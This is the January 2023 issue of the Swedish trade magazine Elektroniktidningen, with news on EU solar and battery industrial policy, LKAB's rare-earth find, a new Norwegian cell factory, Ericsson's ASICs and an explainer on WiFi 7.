Elektroniktidningen januari 2023

På Elektronikmässan Göteborg får du som besökare möjlighet att uppdateras med marknadens senaste elektroniknyheter. Här samlas allt ifrån nya uppstickare till etablerade branschjättar för att trendspana, lansera nyheter och göra affärer. Mässan skapar förutsättningar att fortsätta driva utvecklingen av framtiden inom elektronikbranschen. Ta möjligheten att nätverka, kompetensutvecklas & möta framtida leverantörer!

Utges av Elektroniktidningen Sverige AB

adress: Persuddevägen 50A, 135 52 Tyresö

telefon: 0734-17 10 99 www.etn.se

bankgiro: 5456-3127

redaktion: Jan Tångring (ansv. utg.) Per Henricsson

medverkar i detta nummer: Lennart Bonnevier och Daniel Stenberg

grafisk formgivning och layout: Joakim Flink, typa jocke.flink@typa.se

annonser: Anne-Charlotte Lantz, 0734-17 10 99 | e-post: ac@etn.se prenumeration: webb: www.etn.se/pren e-post: pren@etn.se

Jan Tångring

Bevakar inbyggda system, mjukvara, processorer, kort och skärmar. jan@etn.se | 0734-17 13 09

Per Henricsson

Bevakar test & mät, rf och kommunikation, produktion, FPGA, EDA och passiva komponenter. per@etn.se | 0734-17 13 03

EU ska utmana Kina på solceller Solcellstillverkning – hela ekosystemet – ska bli en industri i Europa igen. En nybildad EU-allians har börjat organiseras, uppmuntrad av batterisatsningens framgångar. 6

20

EXPERT: Din vägvisare i 2023 års IoT-djungel

Ulf Seijmer på Induo och AKKR8 reder ut vilka LPWAN-tekniker som går att köpa över disk första halvåret 2023.

Anne-Charlotte Lantz

Ansvarar för sälj- och marknadsföring. ac@etn.se | 0734-17 10 99

© Elektroniktidningen 2023

upplaga: 13 000 ex.

Allt material lagras elektroniskt. issn 1102-7495

Organ för SER, Svenska Elektrooch Dataingenjörers Riksförening, www.ser.se

Tidningen trycks på miljövänligt papper av Stibo Complete.

omslagsbild: Försök med Mioty för smart fastighetsautomation.

foto: Fraunhofer IIS

En miljon ton sällsynta jordelement LKAB konstaterar att Kiruna har Europas största dokumenterade fyndighet av sällsynta jordartsmetaller. De är avgörande i omställningsindustrin. 12

Ny norsk cellfabrik siktar på energilager Elinor Batteries grundas av en norsk miljardär och en vd rekryterad från en annan norsk batterifabrik. 14

WiFi når version 7 Svindlande datatakter och korta fördröjningar finns i sjunde versionen av IEEE-standarden WiFi. Såhär fungerar den. 18

Problemet med www.räksmörgås.se Alla tecken är numera tillåtna i domännamn. Vackert så. Men det skapar säkerhetsproblem, som Olof Kindgren brottas med i sitt populära filöverföringsbibliotek Curl.

22

EXPERT: Så spar ljudströmmen på strömmen

Tanken med Bluetooth LE är att den ska vara strömsnål. Det är svårt att uppfylla när BLE Audio kräver strömmande media, berättar Nick Wood på Insight Sip.

24

EXPERT: Framtidssäkrad uppkoppling

Wi-Fi 6 och 6E öppnar för många nya applikationer men ställer också nya krav, skriver Kerstin Naser på Rutronik.

26

EXPERT: Tuffa krav på medicinteknik hemma

Strömförsörjning och stöttålighet finns bland de parametrar där kraven är högre om medicinsk utrustning ska användas i hemmiljö. Ron Stull på CUI berättar mer.

EU ska storsatsa på solceller

Efter satsningen på volymproduktion av battericeller vill EU göra detsamma med hela ekosystemet för solceller. Elektroniktidningen har talat med EIT Innoenergy som organiserar båda satsningarna – vad är likt och vad skiljer sig?

Solcellsmarknaden domineras helt av Kina. Men den nionde december blåste startsignalen för ett projekt att etablera masstillverkning av solceller även i Europa.

Kina har idag en global marknadsandel på 85 procent. EU har bara 0,6 procent.

– Vi är i det läge som batteriindustrin var i 2016. Utöver viss produktion av solcellsmoduler finns i stort sett ingen tillverkning i Europa, säger Bo Normark.

Han är industristrateg på EIT Innoenergy som ska koordinera satsningen.

EIT Innoenergy organiserar redan batterisatsningen, och får ett förnyat förtroende med solsatsningen. Det är ett kvitto på att kommissionen är nöjd.

– Så här borde EU alltid fung-

era, har EU:s ordförande Ursula von der Leyen kommenterat batterialliansens arbete.

– Vi ska försöka göra om reptricket, säger Bo Normark.

Elektroniktidningen kontaktade honom för att diskutera skillnader och likheter mellan satsningarna.

Målet är enkelt att formulera i termer av solceller: en produktionskapacitet i EU på 30 GW år 2025. Det kommer att motsvara mellan halva och hela EU:s behov samma år.

Som jämförelse installerades 41 GW solceller i Europa fjol och 28 GW året innan. Under varje år sedan 2017 har Europa installerat allt större volymer.

Det som konkret hände den nionde december var att en solallians formerades, European Solar

Photovoltaic Industry Alliance.

Den motsvarar den tidigare batterialliansen EBA, som även är den stora förebilden för hur solalliansen ska lägga upp sitt arbete. Ekosystemet ska kartläggas, flaskhalsar ska pekas ut, rekommendationer ska tas fram liksom utbildningar och träningsprogram – solcellsekosystemet väntas komma att sysselsätta 400 000 personer i Europa.

Andra programpunkter är samarbeten och partnerskap. Forskning och utveckling ska få pengar. Cirkuläritet och hållbarhet finns förstås på agendan.

Och roller ska fördelas.

– Vad vill industrin att kommissionen ska göra? Vad kan medlemsländerna göra och vilka satsningar är industrin själv beredd att göra?

Batterisatsningen leddes av industrin – det tror Bo Normark var viktigt.

– Vår lilla roll var att vara katalysator.

Ett av de första stegen är att

identifiera pengar som kan användas till stöd och ekonomiska garantier.

– Vi har ju inga egna pengar.

Men pengar finns. Exempelvis återställningsfonden efter pandemin. Andra möjligheter är att stimulera medlemsländer att stödja lokala satsningar eller till och med att temporärt skriva om EU:s statsstödsregler.

VAD GÄLLER FORSKNING , teknik och kompetens tycker Bo Normark startläget är bättre än det var för batterisatsningen. Teknik finns och även produktion. EU tar många patent och har bra maskiner för volymproduktion av solceller. Vi har inverterare och andra viktiga komponenter. Det stora som saknas är egna solceller i volym.

Bo Normark tror att EU kommer att kunna rekrytera kompetens från Asien, liksom skett under batterisatsningen.

Och liksom batterisatsningen lockat samtliga stora batteritill-

verkare att planera produktion i EU, tror han att kinesiska företag kommer att bygga egen produktion i Europa av både solceller och övriga delar av ekosystemet.

– Om EU går ut med ordentligt stöd kommer du garanterat att få se kinesiska fabriker i Europa. Det är nog mycket sannolikt.

Råmaterialsproblematiken för batterier finns även för solceller i form av ett behov av jordartsmetaller – som finns i Kina. Det adresseras under ett handlingsprogram som EU driver för att åtgärda råvarubristen inom alla industrier, särskilt akut inom energisystemet.

En intressant skillnad är att alla länder globalt samtidigt tog klivet upp i gigavolymer av battericeller. Vad gäller produktion av solceller har Kina idag redan ett stort försprång. Där ser Bo Normark ett möjligt problem.

– Förväntningarna på oss är gigantiska. Jag tror solindustrin blir en jobbigare utmaning på det viset.

Kina har sedan länge en omfattande subventionering av sin industri.

– Jag tror inte folk förstått den enorma skala som Kina pumpar in subventioner i sin industri –1,7 procent av BNP varje år – 400 miljarder dollar – för att utveckla sin industrikapacitet.

EIT Innoenergy fick år 2017 i uppdrag av EU-kommissionen att bilda EBA (European Battery Alliance). Den 9 december i fjol blev uppdraget att etablera en motsvarande allians för volymproduktion av solceller, European Solar Photovoltaic Industry Alliance.

Solar Power Europe (SPE) och European Solar Manufacturing Council (ESMC) har arbetat för idén och hamnar i styrgruppen för alliansen. Initiativet sorterar under EU Solar Strategy som antogs i maj. Den är i sin tur en del av Repower EU:s plan som säger att EU ska ha 320 GW solceller år 2025 och 600 GW år 2030.

Det är en ambitiös plan, men enligt SPE skulle egentligen målen behöva sättas ännu högre för att 1,5-gradersmålet ska kunna uppfyllas.

Idag har EU 209 GW installerade solceller, varav en fjärdedel installerades i fjol. Tyskland har flest. Nederländerna är störst per capita. De och Spanien blir de som kommer att addera flest watt till år 2025.

En försiktig och en djärv prognos om EUs årliga installation av solceller fram till 2026. Det djärva scenariot kan vara en underskattning. Det var det i fjol.

I september gjorde dessutom USA som svar på Kina en gigantisk industrisatsning, Inflation Reduction Act, IRA. Den subventionerar såväl batteriproduktion som installation och produktion av sol- och vindenergi.

– Det är historiens i särklass största subventionsprogram.

IRA blev ett av de stora samtalsämnena under kickoffmötet för solalliansen. Batterialliansen har formulerat ett förslag till svar på IRA:s subventioner inom sitt område. Solalliansen kan komma att producera ett motsvarande förslag.

– Jag tror att vi väldigt snart kommer att få se ett papper som liknar det som skrevs för batterisatsningen.

EU funderar på att stämma

USA inför WTO för IRA, men Bo Normark tror inte på handelskrig.

– Fienden är Kina, för att tala klartext. Jag tror att USA och Europa kommer att kroka arm för att undvika att kannibalisera på varandra.

I ETT AVSEENDE tror Bo Normark förutsättningarna för solsatsningen är bättre än för batterisatsningen: den bromsades av skeptiker, inte bara bland politiker utan även bland biltillverkare.

– Det var många som inte trodde att Europa skulle kunna skala upp så snabbt. De såg Peter Carlssons planer som helt orealistiska.

Den här gången kommer alla vara på båten från början, tror han.

– Nu finns ett exempel. Vi vet att detta faktiskt är något som EU klarar av att göra.

Vi pratar om vilka fler satsningar som EU kan tänkas vilja göra – vätgas, kärnkraft, elnät, vindkraft, råämnen? Bo Normark ser möjligheter till koordinerade satsningar överallt, det händer mycket i det europeiska energisystemet. Möjligen att vindkraften står bra på egna ben, bortsett från jordartsmetallerna.

– Allt du nämner är intressant. Europa ska inte vara beroende av produktion i andra länder. Det är inte så att världshandeln ska braka samman och man ska sluta med handel. Men att man ska vara helt beroende av import på kritiska produkter – den tiden tror jag är förbi, och för ganska lång tid framöver.

– Det är något jag brukar tjata om, att det som pågår här är en revansch för tillverkningsindustrin, en pånyttfödelse.

Även chipsatsningen faller under samma resonemang.

– Processen har dessutom accelererats av Covid och kriget i Ukraina. Det är inget självändamål att vara självförsörjande, men det är livsfarligt att inte ha någon produktion alls.

EU:s batterisatsning utmanas av USA

När batterialliansen EBA grundades 2017 fanns bara battericellstillverkning i små volymer i Europa. Det är fortfarande nästan sant. Men EIT Innoenergy räknar idag till hela 46 cellfabriker under uppbyggnad eller i planeringsfasen. EU hoppas att Europa kommer att täcka hela 90 procent av sin egen efterfrågan på battericeller år 2030.

Det kan vara en rimlig förhoppning. Alla de stora battericellstillverkarna har bestämt sig för att etablera produktion i Europa. En eller ett par av dem producerar redan. Den europeiska bilindustrin är fullt med i satsningen – bland annat gör VW, BMW, Stellantis och Mercedes stora investeringar.

Northvolt – den första heleuropeiska fabriken – har startat produktion i Skellefteå. Den har

visserligen inte accelererat till massvolym ännu.

– Men Skellefteå har kommit lika långt som gigafactory i Nevada hade efter motsvarande tid. Man har lyckats väl med att få in kompetens utifrån. Det har stor betydelse.

Därmed inte sagt att alla satsningar kommer att lyckas, utan det kommer förmodligen att ske en konsolidering.

– Det finns de som är mer och mindre seriösa, om man ska vara ärlig, säger Bo Normark.

Trump var under sina år en bromsklots för allt som stavades omställning. Det gynnade EU –asiaterna kom hit istället med sin batteritillverkning.

Men nu gör USA en rejäl comeback. I september i fjol annonserade landet att fyra biljoner kronor skulle satsas på batteriekosystemet i ett program kallat IRA (Inflation Reduction Act)

med syfte att stimulera amerikansk tillverkning.

IRA är en enorm satsning. Om Northvolt byggde sin Skellefteåfabrik i USA skulle den få sju miljarder kronor i skatterabatter, enligt EIT Innoenergy.

Årligen. I sju år. Så det är inte konstigt att Northvolt, Tesla och hela batteribranschen nu prioriterar upp sina planer för USA och talar om att lägga planer i Europa på is. Kaoset i elpriser som följt på Ukrainakriget har blivit ytterligare ett argument.

EBA kallar situationen för ett nödläge och efterlyste ett EUsvar på IRA i början av december, för att rädda kvar investeringar på en biljon kronor under 2023 och 2024.

– Vi tog fram en lista på projekt som är hotade om man inte gör någonting. Det vore förödande att inte göra någonting alls, säger Bo Normark.

LKAB gör Europas största jordartsmetallfynd

■ ENERGI

Det finns minst en miljon ton sällsynta jordartsmetaller i Kirunaområdet. Nyheten har rapporterats brett i svenska medier.

Inför en publik av EU-toppar berättade LKAB:s vd Jan Moström vad LKAB:s provtagning kommit fram till.

Volymen är tillräcklig för att möta en stor del av EU:s framtida behov för tillverkning av de permanentmagneter som krävs för elmotorer i bland annat elbilar och vindkraftverk.

Det är den största kända fyndigheten av sitt slag i Europa. Och det kan mycket väl finnas mer – kartläggningen fortsätter.

– Vi har inte sett slutet på fyndigheten. Det här är goda nyheter inte bara för LKAB, regionen och för svenskarna utan även för Europa och för klimatet, sade Jan Moström.

Det har legat högt på EU:s och USA:s dagordning att bli av med ett beroende av Kina för metallerna. Europa har ingen egen gruvbrytning av sällsynta jordartsmetaller och är idag nästan helt importberoende när det gäller permanentmagneter med jordartsmetaller.

ENLIGT EU -kommissionens bedömning förväntas efterfrågan

på sällsynta jordartsmetaller öka mer än fem gånger fram till 2030.

Rent tekniskt skulle brytningen kunna starta om kanske ett år. Men så fungerar inte lagstiftningen.

– Om vi tittar på hur det har fungerat i andra tillståndsprocesser inom vår industri, så dröjer det minst 10–15 år innan vi skulle kunna ha faktiskt brytning igång. Och då talar vi om Kiruna,

där LKAB brutit malm i mer än 130 år.

FÖRSTA STEGET är en ansökan om bearbetningskoncession för Per Geijer-fyndigheten för att ge LKAB rätt till fyndigheten och kunna undersöka den ytterligare på djupet och utreda förutsättningar för brytning. Planen är att kunna lämna in en ansökan om bearbetningskoncession under 2023.

LKAB förbereder en flera kilometer lång ort på cirka 700 meters djup från den befintliga Kirunagruvan mot den nya fyndigheten för att komma åt att undersöka den på djupet och i detalj.

– Vi räknar med att behöva ett antal år för att undersöka fyndigheten ytterligare. Först därefter kan det bli aktuellt att gå vidare med en miljöprövningsansökan och att söka tillstånd.

Data kontakter

Phoenix Contact är din partner för tillförlitliga dataanslutningar Inom IIoT kommunicerar apparaterna i nätverket med varandra. För detta ändamål erbjuder Phoenix Contact en bred portfölj av kontakter för de idag vanligaste datagränssnitten och även framtida teknologier som SPE. Dessutom erbjuder vi er stöd med olika utmärkta design-in tjänster – från CAD-filer till vår varuprovservice.

Beställ ett gratisprov redan nu via phoenixcontact.com/leading-data-connectivity

Confidee:

Ny mönsterkortsleverantör med fokus på compliance

■ PRODUKTION

För två månader sedan lanserade Confidee en webbsajt med det kryptiska meddelandet “Watch us launch”. Att det handlade om en ny mönsterkortsleverantör var det enda besökarna fick veta.

Den 3 januari kom pressmeddelandet som berättar att elva veteraner i mönsterkortsbranschen står bakom det nya företaget med bas i Norge och försäljningskontor i ett antal länder inklusive Sverige.

Precis som konkurrenterna saknar företaget egna fabriker utan upphandlar korten från olika tillverkare.

– Hvilke fabrikker som brukes er avhengig av kunde, bruksområde, kapabilitet, compliance og

export compliance-krav. Vi utvikler et IT system som automatiserer valg av fabrikk i forhold til artikkel, kunde, bruksområde og myndighetskrav. Valg av fabrikk, prosess og tilhørende analyse er transparent i forhold til kunden og fabrikken, dette er en del av vår metodologi med det formål å kvalitetsikre produktet og kundens data. Dette representerer en annerledes struktur for å valg av fabrikk og land for produksjon, skriver Guro Krossen på Confidee i ett email till Elektroniktidningen och fortsätter: – Hva angår compliance og håndtering av dette, mener vi at for å kunne håndtere denne type data korrekt, behøver man et IT system som er bygget med nettopp dette i tankene. Vi har

utviklet vår IT plattform fra bunnen av, nettopp for å kunne håndtere de strengeste krav innenfor compliance. Tidligere så man at compliance ofte var knyttet til data innenfor export compliance og forsvarsindustrien. Nå ser man at dette gjelder de fleste industrier, skriver hon till Elektroniktidningen.

GURO KROSSEN har tidigare varit anställd på Elmatica vilket även gäller resten av ledningsteamet som består av vd:n Vidar Olsen, den operativa chefen Raymond Goh och Robert Kurti som är IT-chef.

Janne Persson ansvarar för den svenska marknaden.

Smartare elektroniksystem: Klart med ny programchef

Det blir Anna Wibom som tar över rollen som programchef för innovationsprogrammet Smartare elektroniksystem. Hon kommer närmast från Post- och telestyrelsen.

Den tredje juni slutade Magnus Svensson som programchef, han kom in strax efter starten av programmet 2014. Under hösten har den biträdande programchefen Thorbjörn Ebefors vikarierat men den 9 januari börjar Anna Wibom. Thorbjörn går då tillbaka till en halvtidstjänst som biträdande programchef med fokus på internationalisering.

Anna Wibom har arbetat på Näringsdepartementet och sedan 2011 på Post- och tele-

styrelsen där hon från 2018 haft ansvaret för totalförsvarsarbetet. Det handlar om privat-offentlig samverkan med aktörer inom elektronisk kommunikation och post, liksom samarbeten med andra myndigheter.

– Annas erfarenhet från privat-offentlig samverkan, liksom arbete med försörjnings-

beredskap inom totalförsvarsområdet är mycket relevant för rollen, säger Thorbjörn Ebefors i ett pressmeddelande.

Smartare elektroniksystem är ett av Vinnovas 17 innovationsprogram och har snart avverkat de första nio av de totalt 12 år som programmen är tänkta att pågå.

Arbetet med fortsättningen, kallad SIP 2.0, har smygstartat och kommer att intensifieras under nästa år. Klart är att regeringen vill se en utveckling mot färre program med större budgetar för att nå kraftfullare systemeffekter på områden som är strategiskt viktiga för Sverige.

per@etn.se

Hej alla SER-vänner!

God

fortsättning på det nya året!

SÅ BÖRJAR ett nytt spännande år. Vi avslutade 2022 med ett seminarium som organiserats av EUREL och det kommer mer info från EUREL under året. De håller på att bygga om sin webb, så vi ska försöka att presentera mer info via SER:s hemsida, så att ni kan ta del av allt som händer. Bland annat så rör det sig sakta framåt runt European Chips Act, EUs satsning på en strategi för halvledare. En del av det är den svenska satsningen runt detsamma, någonting vi också kommer att följa med stort intresse och rapportera om framöver.

MEN LITE NÄRMARE i tiden så har vi ett seminarium i februari med följande tema – ”Från elbilar till kilovolt: Kiselkarbid för energieffektiv kraftelektronik” av CarlMikael Zetterling, Professor, KTH och Johan Ekman, CEO, Kiselkarbid i Stockholm AB. Se till att gå in på vår hemsida och kolla in mer info inom kort.

SÅ VILL JAG SLÅ ETT SLAG för SER och arbete i SER. Vi är i stort behov av en förstärkning för att kunna jobba med allt spännande som händer inom våra fokusområden, då det är mycket på gång och områdena ständigt växer. Lite tid eller mycket tid, allt är värdefullt för att kunna skapa mer av det vi jobbar med (webb, nyhetsbrev, telekomböcker, SER prize, föredrag, etc). Hör av dig till oss på ordf@ser.se

Väl mött!

VÄRLDSREKORD: Tandemsolcell med 32,5% verkningsgrad

■ SOLCELLER

Runt om i världen pågår arbete med att lyfta verkningsgraden i kiselbaserade solceller genom att addera ett perovskitlager. Forskare vid Helmholtz-Zentrum i Berlin har nått 32,5 procents verkningsgrad vilket uppges vara världsrekord.

Kiselbaserade solceller har svårt att nå särskilt långt över 20 procents verkningsgrad men kan ta ett rejält prestandakliv med hjälp

av ett lager av perovskit under täckglaset. Materialet tar hand om energin från ljus med kortare våglängder som ligger åt det blåa hållet medan kiselcellen tar hand om det ljus som ligger åt det röda hållet.

Tekniken kallas tandemcell.

ANDELEN AV DET INFALLANDE solljuset om omvandlas till ström har ökat i takt med att utformningen av perovskitskiktet förbättrats. Forskarna vid Helmholtz-Zentrum har

putsat ytterligare på tekniken. I ett pressmeddelande skriver de att de förbättrat kopplingen mellan kislet och perovskiten och dessutom förbättrat ytan på den senare varvid förlusterna i laddningsrekombinationen minskat.

Rekordet lyder nu på 32,5 procent, en siffra som verifierats av det certifierade italienska institutet European Solar Test Installation (ESTI).

PER HENRICSSON per@etn.se

EU satsar på Risc V i superdatorer

Under sex år vill ett EU-program satsa 135 miljoner euro på prestandaberäkningar baserade på arkitekturen Risc V och annan öppen hårdvara. Det blir grunden för en oberoende och konkurrenskraftig europeisk industri, hoppas EU.

Industrin förväntas, som brukligt, att skjuta till lika mycket pengar.

Initiativet kommer från Euro HPC (High performance computing) som tror att Risc Vekosystemet kan producera energieffektiva alternativ till kommersiella processorer och acceleratorer.

Exakt hur pengarna ska användas avgör du. Ansökningar tas emot mellan den 26 januari och den 4 april.

PRESTANDABERÄKNINGAR ska vara den röda tråden. Dina förslag kan exempelvis handa om tilllämpningar, chiplets, cpu:er, acceleratorer, portering av kod,

kommunikationslänkar eller EDA-verktyg.

En arbetsgrupp har kartlagt ekosystemet och EU:s behov och lagt rekommendationer för vad EU kan tänkas vilja stimulera. Så den rapporten vill du läsa.

Här är ett hett tips: det du utvecklar ska vara beständigt. Euro HPC är inte intresserat av att finansiera projekt där det som produceras läggs i malpåse efteråt. Det var något som arbetsgruppen betonade.

Euro HPC vill se standardiserade byggblock som ska kunna användas vidare. Tanken är att minska tid, risk och kostnad för utveckling av elektroniksystem.

Det ska finns en konkret plan för detta. De som lägger anbud måste beskriva hur de säkerställer att byggblocken finns tillgängliga efter att projekten har avslutats.

En viktig aspekt är europeiskt oberoende: att byggblocken finns tillgängliga från europeiska företag så Europa inte behöver vara beroende av teknik som

kontrolleras av icke-EU-länder.

Arbetsgruppen heter Open Source Hardware & Software Working Group och består av representanter från både industri och akademi. NXP, Siemens, Bosch, Infineon, Green Waves, Sysgo och Antmicro är några av representanterna från industrin.

EN SVENSK REPRESENTANT är Jan Andersson från Cobham Gaisler i Göteborg, den svenska rymdprocessorveteranen.

På Bolognauniversitetet finns en superdatormockup kallad Monte Cimone byggd av åtta stycken Sifive U740-kretsar på fyra processorkort. På EPI (European Processor Initiative) finns Risc V-acceleratorer för bland annat maskininlärning.

JAN TÅNGRING jan@etn.se

Huawei: Större på 5G i Berlin än i Beijing

■ TELEKOMMUNIKATION

Det är lätt att få uppfattningen att Europa portat Huawei och ZTE från 5Gnäten bara för att Sverige gjorde det. Men en färsk rapport från Strand Consult visar att kinesiska leverantörer har över 50 procent av marknaden i åtta av Europas 31 länder.

The Market for 5G RAN in Europe: Share of Chinese and Non-Chinese Vendors in 31 European Countries är en uppföljning av den rapport som publicerades för två år sedan om LTE-marknaden i Europa.

Den nya rapporten visar att antalet länder där kinesiska företag levererat mer än 50 procent av radiodelen av mobilnäten minskat från 16 till åtta. Antalet länder som enbart har kinesisk radioutrustning har minskat från tre till ett. Omvänt har 11 länder 5G utan kinesisk 5Gutrustning.

SAMTIDIGT har operatörer i stora länderna som Tyskland, Italien, Polen, Spanien, Portugal och Österrike mycket radioutrustning från Huawei och ZTE vilket innebär att 41 procent av den europeiska 5G-trafiken går via kinesiska leverantörer.

Mer information:

Strand Consult hävdar att Huaweis andel av 5G-näten i Berlin är större än i Beijing där konkurrensen från ZTE och andra inhemska leverantörer är hårdare.

13 miljarder transistorer i Ericssons största asic

Telekomjättens egenutvecklade asicar, Ericsson Silicon, lyfts allt oftare fram som en förklaring till att radioprodukterna är konkurrenskraftiga. Under kapitalmarknadsdagen i torsdags fick vi veta att den senaste generationen har mellan 9 och 13 miljarder transistorer och är tillverkade i en ledande process.

– Vi går allt längre ner i värdekedjan för att säkra kunskap och stärka vår motståndskraft. Det är inte så smart att lägga ut det här. Vårt senaste chipset har ungefär 13 miljarder transistorer och vi har säkrat tillgång till 7, 5 och 3 nm för att kunna ligga i framkant, sade chefen för nätverksprodukter, Fredrik Jejdling.

Ericsson har under många år designat egna asicar men det var i februari förra året som de hamnade i rampljuset i samband med att företaget lanserade en ny generation radio- och basbandsprodukter.

– Det är inte helt fristående chip. Vi har byggt upp en modulär arkitektur med IP-block för olika funktioner som vi utvecklar kontinuerligt, och som vi kan göra olika instanser av, sade David Hammarwall till Elektroniktidningen i februari 2021.

EXEMPELVIS KAN MAN skapa kretsar med hundratals DSP-kärnor som arbetar parallellt. För att

även praktiskt få ut kraften ur kislet har företaget tagit fram en utvecklingsmiljö, ett SDK, så att asicarna går att programmera.

De egenutvecklade kretsarna gör det möjligt att hela tiden sänka vikten och energiförbrukningen samtidigt som varje ny generation av radion klarar allt mer.

– Det som är grunden för allt vi gör, inom teknik och för våra kunder, är Ericson Silicon. Det är det som är vår ”secret sauce”, sade Fredrik Jejdling.

Navet för asicutvecklingen finns sedan slutet av 2017 i Austin. Huvudstaden i Texas var en gång i tiden hemvist för Motorolas halvledarverksamhet med två CMOS-fabbar. Delar av arvet finns kvar i form av NXP (som köpte Freescale) men även Cirrus Logic. Dessutom har Samsung en jättelik CMOS-fab i staden och är i full färd med att bygga en andra.

IS NOTTHE END OF

As an authorised distributor, Rochester Electronics provides the world's most extensive range of end-of-life (EOL) and broadest range of active semiconductors to keep the medical, defense, telecom and infra structure industries moving worldwide.

DE BYGGER NÄSTA NORSKA GIGAFABRIK

En miljardär, Lars Helge Helvig, ligger bakom nästa norska fabrik för litiumjonbattericeller. Vid sin sida har han den tidigare vd:n för norska cellfabriken Morrow.

Elinor Batteries heter det nybildade bolaget. Sedan tidigare finns Freyr och Morrow i Norge. De grundades 2018 respektive 2020. Panasonic annonserade 2020 ett projekt med Hydro, men det lades ner efter ett år.

Freyr i norr (Mo i Rana) och Morrow i syd (Arendal) får sällskap av Elinor i Mellannorge (Orkland). År 2024 ska bygget starta. Produktionen ska vara igång 2026. Slutmålet är 40 GWh på 2500 anställda.

Lars Helge Helvig är tidigare känd för sina investeringar i vindkraft och elbilsladdare. Hans bolag Valinor har redan lagt ett

tvåsiffrigt miljonbelopp på att utveckla Elinor och dess första fabrik.

En cellfabrik för 30 miljarder kronor kan Lars Helge Helvig inte bygga helt för egna pengar, han hoppas på fler investerare och på att att staten ska stå för en del kostnader och garantier, som den gjort med andra norska batteriprojekt.

Vd Terje Andersen rekryteras från Morrow, en annan norsk cellsfabriksbyggare.

Elinors fabrik hamnar i industriparken Eiktyr i Orklands kommun, 40 km från Trondheim. Marken förvärvades för ett år sedan.

Bygget sker i tre etapper. Den första anläggningen börjar byggas 2024 och ska tas i bruk år 2026. Fabriken ska till slut ge cirka 2 500 arbetstillfällen.

ENERGILAGER är den första tilllämpningen. Det är samma spår som Freyr valt. Båda ska tillverka LFP-batterier. De flesta annonserade gigafabriker hittills i Europa har siktat på transport, och har typiskt fordonstillverkare som kunder eller till och med ägare. Elinor räknar upp tillämpningar inom kraftnät, byggnader, industri och laddinfrastruktur.

Mycket av projektet är delegerat till Sintef, ett forskningsinstitut med huvudkontor i Trondheim, en timme med bil från Orkland.

Sintef är en central aktör i batteri-Norge. Det har redan hjälpt Freyr att realisera dess batterikemi. Elinor får en flygande

start med Sintef och kan börja producera prototyper (A-samples) redan nu i vår. Det betyder att Elinor snabbt kan kvalificera sig hos kunder.

Sintef bygger redan ett batterilabb som kommer att vara färdigt just i tid för Elinors behov.

Samarbetet mellan Elinor och Sintef omfattar även produktionsteknik, infrastruktur och projektledning.

LANDET NORGE sponsrar sitt batteriekosystem med samma iver som EU. Landet kan med viss fog hävda sig ha världens billigaste och renaste el. Och i Orkland ska elen vara som allra billigast, enligt Elinor.

– Det finns ingen bättre plats i världen att producera hållbara batterier på än centrala Norge, säger Terje Andersen.

Skriv åt oss!

I varje nummer av Elektroniktidningen publicerar vi ett antal artiklar – inom utgåvans teman – skrivna av teknikexperter, så kallade ”contributed articles”.

Kontakta gärna redaktör Jan Tångring om du har förslag på en lämplig artikel, tel 0734-17 13 09.

Du kan också skicka ett artikelförslag direkt till jan@etn.se

Men var ute i god tid, senast sex veckor före utgivning.

Det här är

2023 kan bli året för nya hastighetsrekord i trådlösa lokalnät. Den kommande standarden WiFi 7, även känd under sin IEEE-beteckning 802.11be, utlovar överföringskapacitet över 40 Gbit/s, 4–5 gånger högre än dagens WiFi 6 (802.11ax).

Standarden väntas förvisso inte vara klar förrän 2024 men flera utställare på den nyligen genomförda konsumentelektronikmässan CES visade upp WiFi 7-produkter som ska finnas att köpa senare i år.

Det finns många sätt att öka överföringshastigheten i trådlösa nät, som till exempel att tillföra nya radiofrekvenser eller aggregera länkar eller använda effektivare kodning som skickar fler bitar per tidsintervall, och vi kan

konstatera att WiFi 7 använder sig av alla dessa och en hel del andra därtill.

För att börja med det viktigaste: WiFi 7 använder samma frekvensband, 2,4 och 5 GHz, som den tidigare standarden men adderar ytterligare ett band vid 6 GHz. Högre frekvenser möjliggör snabbare dataöverföring till priset av sämre räckvidd; det återstår att se hur det fungerar i praktiken men det är rimligt att anta att dator och WiFi-router

helst bör stå i samma rum för att få full nytta av 6 GHz-bandet. (Det ska väl tilläggas att det finns en uppdaterad WiFi 6, kallad 6E, som också använder 6 GHz-bandet, men WiFi 7 drar bättre nytta av det i ett par avseenden som vi återkommer till.)

6 GHz-bandet erbjuder mer bandbredd än vad som finns att använda i de andra två banden tillsammans. I WiFi 7 används bandet till tre kanaler som vardera är 320 MHz breda.

WiFi 7 klämmer dessutom in betydligt fler kanaler i både 2,4 och 5 GHz-banden än vad tidigare varianter gör, vilket kan översättas till fler samtidiga användare.

Den är också bättre på att hantera ”hål” i ett frekvensband som

uppstår till exempel om det finns annan utrustning i närheten som sänder på någon frekvens som annars skulle ha kunnat användas för det trådlösa nätverket.

MIMO, DET VILL SÄGA multipla antenner, är inget nytt för WiFi men den nya standarden dubblerar det maximala antalet antenner från 8 till 16. Det betyder återigen att en WiFi 7-router kan hantera fler samtidiga användare, men det möjliggör också högre hastighet för enskilda användare i och med att det går att sända parallellt på flera kanaler.

Just detta att använda flera kanaler samtidigt, kallat multilink operation eller aggregering av länkar, är en av de stora förbättringarna i WiFi 7. Traditionellt

Svensk radioexpert om WiFi 7

Vad gäller datatakt duger redan WiFi 6 ganska bra för IoT. Men WiFi 7 bär på en möjlig fördel för meshnät, och fler intressanta funktioner är på väg. Detta enligt Hans-Erik Backram på Karlstadsföretaget Shortlink, vars systerbolag RangeAnt utvecklar, tillverkar och säljer antenner.

På Shortlink görs några Sveriges mest avancerade asicprojekt. Trådlöst och antennteknik är

gamla styrkor – företaget hade en gånger ett finger med i skapandet av Bluetooth. Systerbolaget som utvecklar, tillverkar och säljer antenner heter RangeAnt.

Vi pratar med Hans-Erik Backram, ansvarig för antennutveckling:

WiFi 7 handlar mycket om ökad bandbredd. Det är lätt att se poängen när det gäller uppkoppling av PC, bärbara datorer och så vidare men vad tillför WiFi 7 inom IoT och inbyggda system?

– Rent tekniskt är WiFi 7 en version av WiFi 6 med högre datatakt. En av nyheterna i WiFi 6 var att man kunde stödja fler enheter, vilket är användbart för IoT, och WiFi 7 kommer ha samma egenskaper i detta avseende, säger Hans-Erik Backram

– Fokus för WiFi 7 är annars maximal överföringshastighet och minimal fördröjning (latens), vilket är utmärkt för att till exempel spela spel och se på video. För IoT-app-

likationer går det tekniskt sett lika bra med WiFi 6 som WiFi 7.

